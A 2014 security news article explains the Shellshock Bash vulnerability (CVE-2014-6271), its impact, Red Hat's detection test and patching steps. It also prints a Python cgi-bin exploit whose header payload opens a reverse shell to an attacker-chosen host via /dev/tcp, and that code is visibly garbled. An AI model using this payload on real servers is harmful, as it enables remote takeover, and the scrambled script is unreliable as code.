Bash Bug is a critical flaw remotely Exploitable which affects Linux, Unix and Apple Mac OS X and that is threatening the global Internet infrastructure.
A new critical vulnerability dubbed Bash Bug in Linux and Unix command-line shell, aka the GNU Bourne Again Shell, is threatening the IT world. The flaw, coded as CVE-2014-6271, is remotely exploitable and affects Linux and Unix command-line shell potentially exposing to risk of cyber attacks websites, servers, PCs, OS X Macs, various home routers, and many other devices.
Stephane Chazelas publicly disclosed the technical details of the remote code execution vulnerability in Bash, which affects the majority of the Linux distributions and servers worldwide.
Stephane explained that the vulnerability it has existed for several decades and it is related to the way bash handles specially-formatted environment variables, namely exported shell functions.
To run an arbitrary code on affected systems it is necessary to assign a function to a variable, trailing code in the function definition will be executed.
The critical Bash Bug vulnerability, also dubbed Shellshock, affects versions GNU Bash versions ranging from 1.14 through 4.3, a threat actor could exploit it to execute shell commands remotely on a targeted machine using specifically crafted variables.
“GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.” states the description for the Bush Bug flaw on the NIST National Vulnerability Database which rated its severity as 10 out of 10.
A machine having Bash as configured as the default system shell could be easily hacked every time an application invokes the Bash shell command (e.g. Mail server) via HTTP or a Common-Gateway Interface (CGI). The attacker could run arbitrary code on the server just by sending a specially crafted malicious web request by setting headers in a web request, or by setting weird mime types. Searching on the Internet it is possible to find the source code for cgi-bin reverse shell reported below:
#Bash Bug
#CVE-2014-6271 bincgi- reverse shell
#
import ,,httpliburllibsys
if (len(sys.argv)<4):
print “Usage: %s <host> <vulnerable CGI> <attackhost/IP>” % sys.argv[0]
print “Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080″ % sys.argv[0]
exit(0)
conn = httplib.(sys.[HTTPConnectionargv1])
reverse_shell=”() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1” % sys.argv[3]
headers = {“Content-type”: “application/x-www-form-urlencoded”,
“test”:reverse_shell }
conn.request(“GET”,sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
Similar attacks are possible via OpenSSH, “We have also verified that this vulnerability is exposed in ssh—but only to authenticated sessions. Web applications like cgi-scripts may be vulnerable based on a number of factors; including calling other applications through a shell, or evaluating sections of code through a shell.” Stephane warned. But if an attacker does not have an SSH account this exploit would not work.
The overall impact of the Bash Bug vulnerability is widely extended, bash is commonly used to execute commands from other programs. Security experts compare the risk of exposure of Bash Bug to the Heartbleed bug.
“The first reason is that the bug interacts with other software in unexpected ways. We know that interacting with the shell is dangerous, but we write code that does it anyway. An enormous percentage of software interacts with the shell in some fashion. Thus, we’ll never be able to catalogue all the software out there that is vulnerable to the bash bug. ” states Robert Graham on his Blog Errata Security.
To evaluate if a Linux or Unix system is vulnerable, users could run the diagnostic test proposed by RedHat
$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
If the output of the above command looks as follows:
vulnerable this is a test
you are using a vulnerable version of Bash. The patch used to fix this issue ensures that no code is allowed after the end of a Bash function. Thus, if you run the above example with the patched version of Bash, you should get an output similar to:
$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x’ this is a test
If your system is vulnerable, to fix the issue update to the most recent version of the Bash package by running the following command:
# yum update bash
To mitigate the Bash Bug it is recommended to disable any CGI scripts that call on the shell and as soon as possible upgrade your bash software package, principal Linux distribution vendors have released the new bash software versions:
- Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
- CentOS (versions 5 through 7)
- Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
- Debian
The Bug Bash flaw is particularly dangerous for Internet-of-things devices like smart meters, routers, web cameras and any other device that runs software which allows bash scripts. Typically, such software are not easily patchable and are more likely to expose the critical flaw in the Internet.
As said by Graham “Unlike Heartbleed, which only affected a specific version of OpenSSL, this bash bug has been around for a long, long time. That means there are lots of old devices on the network vulnerable to this bug. The number of systems needing to be patched, but which won’t be, is much larger than Heartbleed.”